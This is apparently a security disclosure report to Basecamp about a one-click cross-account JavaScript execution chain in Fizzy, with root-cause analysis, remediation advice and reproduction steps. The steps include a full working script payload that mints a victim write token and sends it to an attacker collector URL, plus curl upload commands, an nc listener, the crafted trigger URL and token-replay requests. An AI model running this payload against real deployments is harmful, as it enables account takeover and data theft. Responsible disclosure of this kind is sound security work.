Basecamp · Report #3943339
One-click cross-account JavaScript execution steals a victim write token through Turbo pagination and unattached Active Storage HTML
How it was found
An attacker with a Fizzy account can execute arbitrary same-origin JavaScript when a signed-in victim opens one crafted public-board URL. The attacker and victim do not need to share a Fizzy account.
The JavaScript creates a write access token on the victim's global Fizzy Identity and sends the raw token to an attacker-controlled origin. The stolen token reveals the victim's Fizzy account memberships and permits authenticated read, write, and delete API requests in the victim's accounts.
Suggested severity: High — CVSS 3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (8.7).
This was reproduced end to end against Fizzy commit b12e4c52d8eafee19b0167dc5831138f1cfb7103 on 2026-08-16, using two unrelated researcher-owned accounts. Fizzy's source code was not modified.
Root-cause chain
-
Untrusted request parameters control the pagination URL.
app/helpers/pagination_helper.rb:13-24passes every request parameter to Railsurl_for:def pagination_link(namespace, page_number, ...) link_to label, url_for(params.permit!.to_h.merge(page: page_number, **url_params)), ... endscript_nameis a reserved Rails URL-generation option. An attacker can use it to replace the beginning of Fizzy's generated page-2 URL with an Active Storage blob-proxy path. A trailing encoded#turns the intended public-board route into a client-side fragment, so the browser requests the blob instead of page 2.The public-column stream template invokes automatic pagination at
app/views/public/boards/columns/streams/show.html.erb:13-19.app/javascript/controllers/pagination_controller.js:90-105then creates a Turbo Frame whosesrcis the poisoned pagination URL.The outer attack URL ends in
#stream_column-pagination-link-2, which scrolls the pagination link into view and causes Fizzy's existing intersection observer to load it automatically. No second click is required. -
Parameterized HTML bypasses Active Storage's exact-string dangerous-content check on the S3 path.
Fizzy's normal direct-upload endpoint accepts an attacker-supplied
content_type. Active Storage determines whether a blob must be served as binary using an exact-string lookup:def forcibly_serve_as_binary? ActiveStorage.content_types_to_serve_as_binary.include?(content_type) endThe default binary list contains
text/html, but nottext/html;charset=utf-8. The tested proxy response was consequently returned as:HTTP/1.1 200 OK Content-Disposition: attachment; filename="video-exfil.html" Content-Type: text/html;charset=utf-8Turbo treats the response as HTML.
Content-Disposition: attachmentdoes not prevent a Turbo Frame fetch response from being parsed and rendered. -
Fizzy authorizes an unattached attacker blob to an unrelated authenticated identity.
lib/rails_ext/active_storage_authorization.rb:1-4authorizes every blob with no attachments:def accessible_to?(user) attachments.includes(:record).any? { |attachment| attachment.accessible_to?(user) } || attachments.none? endThe proxy controllers enforce this rule at
lib/rails_ext/active_storage_authorization.rb:28-45. The attacker deliberately leaves the HTML blob unattached. When a victim from another account opens the public board, the victim's globalCurrent.identitysatisfies authentication andattachments.none?authorizes the blob, even though the victim is not a member of the attacker's account. -
Turbo activates the script and supplies Fizzy's CSP nonce.
The blob contains the Turbo Frame expected by the pagination controller and an inline script:
<turbo-frame id="stream_column-pagination-contents-2"><script>ATTACKER_JAVASCRIPT</script></turbo-frame>Fizzy uses
turbo-rails2.0.23. Turbo'sFrameRendereractivates script elements after inserting a Frame response. ItsactivateScriptElementimplementation creates a live script and copies the current document's CSP nonce onto it. Fizzy exposes its current nonce throughcsp_meta_tag(config/initializers/content_security_policy.rb:47-54andapp/views/layouts/shared/_head.html.erb:11-12). The attacker does not need to know or guess the nonce. -
The same-origin script creates and exfiltrates a victim write token.
My::AccessTokensControllerskips account selection, stores access tokens onCurrent.identity, and returns the raw token in its JSON response (app/controllers/my/access_tokens_controller.rb:4,20-33,47-49). The public page containscsrf_meta_tags, so the script can submit a valid victim CSRF token.app/models/identity/access_token.rb:7-9permits every HTTP method for a write token:def allows?(method) method.in?(%w[ GET HEAD ]) || write? end
Scope and backend applicability
- The attacker and victim are in different Fizzy accounts.
- Only the attacker uploads content. The victim only opens one URL and does not import a file, paste input, or upload the payload.
- This is not an unrestricted-file-upload report: the demonstrated impact is cross-account same-origin JavaScript execution followed by theft and use of a victim credential.
- The demonstrated parameterized-MIME variant applies to Fizzy SaaS's S3 Active Storage path. A separate Disk-service test rejected the same parameterized upload because that path canonicalized the request MIME type before comparison.
saas/config/environments/production.rb:2selectspurestorage, andsaas/config/storage.yml:23-33definespurestorageas an S3 service. The local E2E proof used the same Active Storage S3 adapter with an isolated MinIO S3-compatible endpoint.
Suggested remediation
- Replace
params.permit!in pagination URL generation with an explicit allowlist. Do not forward URL-generation control parameters from request parameters, including Rails reserved options such asscript_name,host,protocol,port, andonly_path, or route-selection keys such ascontrollerandaction. - Do not authorize a blob merely because
attachments.none?. Bind each direct upload to its creating identity/account and authorize an unattached blob only to that principal. - Normalize supplied MIME types to their media type before comparing them with
content_types_to_serve_as_binaryandcontent_types_allowed_inline. Force HTML, XML, SVG, and unattached blobs toapplication/octet-streamat the proxy boundary. - Serve user-controlled uploads from a separate cookieless origin that cannot access Fizzy sessions and is absent from
script-src. - Add an integration test for parameterized HTML uploaded through the S3 direct-upload path and returned through an automatic Turbo pagination Frame.
Steps To Reproduce:
The following uses two unrelated, researcher-owned accounts and an isolated local deployment. Replace all uppercase placeholders with values from the test environment.
-
Run Fizzy at commit
b12e4c52d8eafee19b0167dc5831138f1cfb7103in its SaaS production configuration with the S3 Active Storage service enabled. Create:- attacker account
/1; - unrelated victim account
/2; - an attacker-owned public board with at least 16 cards, so page 2 exists on its public
columns/streamroute; and - a victim-owned board to use for the harmless write/delete proof.
Keep the victim signed in to Fizzy in a separate Chrome profile.
- attacker account
-
Use the following exact HTML body. It is 555 bytes without a trailing newline, and its base64-encoded MD5 checksum is
yCDDFKjBAvUTEpu7JW/MYQ==:<turbo-frame id="stream_column-pagination-contents-2"><script>void async function(){const csrf=document.querySelector("meta[name=csrf-token]").content;const response=await fetch("/my/access_tokens.json",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json","X-CSRF-Token":csrf},body:JSON.stringify({access_token:{description:"fizzy-video-exfil",permission:"write"}})});const {token}=await response.json();location.href="http://attacker.fizzy.localhost:45000/collect?token="+encodeURIComponent(token)}()</script></turbo-frame> -
While authenticated as the attacker, create an unattached blob through Fizzy's normal direct-upload API:
curl -i -b attacker.cookies \ -H 'Content-Type: application/json' \ -H 'X-CSRF-Token: ATTACKER_CSRF' \ --data-binary '{"blob":{"filename":"video-exfil.html","content_type":"text/html;charset=utf-8","byte_size":555,"checksum":"yCDDFKjBAvUTEpu7JW/MYQ=="}}' \ 'http://app.fizzy.localhost:43080/1/rails/active_storage/direct_uploads'Record the returned
signed_id,direct_upload.url, anddirect_upload.headers. Do not attach this blob to any record. -
PUT the exact 555-byte body from step 2 to the returned storage URL, using the returned upload headers:
curl -i -X PUT \ -H 'Content-Length: 555' \ -H 'Content-MD5: yCDDFKjBAvUTEpu7JW/MYQ==' \ -H 'Content-Type: text/html;charset=utf-8' \ -H 'Content-Disposition: inline; filename="video-exfil.html"' \ --data-binary '<turbo-frame id="stream_column-pagination-contents-2"><script>void async function(){const csrf=document.querySelector("meta[name=csrf-token]").content;const response=await fetch("/my/access_tokens.json",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json","X-CSRF-Token":csrf},body:JSON.stringify({access_token:{description:"fizzy-video-exfil",permission:"write"}})});const {token}=await response.json();location.href="http://attacker.fizzy.localhost:45000/collect?token="+encodeURIComponent(token)}()</script></turbo-frame>' \ 'DIRECT_UPLOAD_URL_RETURNED_BY_FIZZY' -
Start an HTTP listener representing the attacker-controlled collector:
nc -l 45000attacker.fizzy.localhost:45000is a separate origin from Fizzy and is independent of attacker account/1. In a real attack this can be any attacker-controlled HTTPS endpoint. -
In the signed-in victim Chrome profile, open the following attacker-board URL once:
http://app.fizzy.localhost:43080/1/public/boards/ATTACKER_PUBLIC_KEY/columns/stream?script_name=%2F1%2Frails%2Factive_storage%2Fblobs%2Fproxy%2FHTML_SIGNED_ID%2Fvideo-exfil.html%23#stream_column-pagination-link-2Wait two to five seconds without clicking anything else.
-
Observe that the independent attacker collector receives the victim's raw access token:
GET /collect?token=VICTIM_WRITE_TOKEN HTTP/1.1 Host: attacker.fizzy.localhost:45000 Referer: http://app.fizzy.localhost:43080/ -
Copy the exact token received by the collector and use it outside the victim browser:
curl -i \ -H 'Authorization: Bearer VICTIM_WRITE_TOKEN' \ 'http://app.fizzy.localhost:43080/my/identity.json'The response is
200 OKand identifies the unrelated victim and victim account/2. -
Demonstrate write access using only researcher-owned test data:
curl -i \ -H 'Authorization: Bearer VICTIM_WRITE_TOKEN' \ -H 'Content-Type: application/json' \ --data-binary '{"card":{"title":"Video E2E proof"}}' \ 'http://app.fizzy.localhost:43080/2/boards/VICTIM_BOARD_ID/cards.json'The response is
201 Created. Record the returned card number. -
Confirm delete access and remove the test card:
curl -i -X DELETE \ -H 'Authorization: Bearer VICTIM_WRITE_TOKEN' \ 'http://app.fizzy.localhost:43080/2/cards/CREATED_CARD_NUMBER.json'The response is
204 No Content.
Observed end-to-end evidence
The recorded PoC demonstrated the complete chain with two unrelated researcher-owned accounts:
- victim identity
Victim HackerOnebelonged to account/2; - the victim opened the crafted public-board URL belonging to attacker account
/1; - an independent attacker-controlled collector received the raw victim write token;
- that exact token returned
200 OKfrom/my/identity.jsonand disclosed the victim's account membership; - the token created card #15 in the victim's board with
201 Created; and - the same token deleted card #15 with
204 No Content.
The collector received:
GET /collect?token=qEZD...2xSQ HTTP/1.1
Host: attacker.fizzy.localhost:45000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://app.fizzy.localhost:43080/
Using that same collector-received token returned the victim Identity:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Request-Id: 6879c2e0-76d6-41e0-ab87-29725cffc8c2
Date: Sun, 16 Aug 2026 02:58:53 GMT
{"id":"03goro3mqj1abrb7ql9x31yhj","accounts":[{"id":"03goro7h4q1x6k1rmnfu53p0r","name":"Victim's Fizzy","slug":"/2","user":{"id":"03goro7h6zxop2k3q4zdbuebu","name":"Victim HackerOne","role":"owner","email_address":"[email protected]"}}]}
The token then created a card in the victim's board:
HTTP/1.1 201 Created
Location: /2/cards/15.json
X-Request-Id: 241ea66d-2c40-4a5a-aaa4-8d138e757643
Date: Sun, 16 Aug 2026 02:59:05 GMT
{"id":"03goukp3m3k7gj2l9qyppm9v8","number":15,"title":"Video E2E proof","status":"published","board":{"id":"03goro7h7ls8flhg0x7czuso5","name":"Playground"},"creator":{"id":"03goro7h6zxop2k3q4zdbuebu","name":"Victim HackerOne"}}
Finally, the same token deleted that card:
HTTP/1.1 204 No Content
X-Request-Id: 74e28ffe-1ee7-476c-9cad-ef5345ce4e05
Date: Sun, 16 Aug 2026 02:59:23 GMT
Impact
A low-privileged attacker with their own Fizzy account can compromise an unrelated signed-in victim's Fizzy Identity by convincing the victim to open one attacker-owned public-board URL. No shared account is required. The attacker gains arbitrary JavaScript execution in Fizzy's origin and uses it to create an Identity-scoped write bearer token, exfiltrate that token to attacker-controlled infrastructure, and replay it without access to the victim's browser or session cookie.
The stolen token is attached to the victim's global Identity, not to the attacker's account or public board. It discloses the victim's account memberships and authorizes API requests with the victim's existing access in those accounts. This allows the attacker to read confidential Fizzy data and create, modify, or delete data as the victim. The E2E proof specifically demonstrated disclosure of the victim's Identity and account membership, followed by creation and deletion of a card in an unrelated victim-owned account.
The token remains usable independently of the browser session until it is revoked. The resulting security impact is therefore cross-account compromise of confidentiality and integrity with the victim's privileges (C:H/I:H); no availability impact is claimed.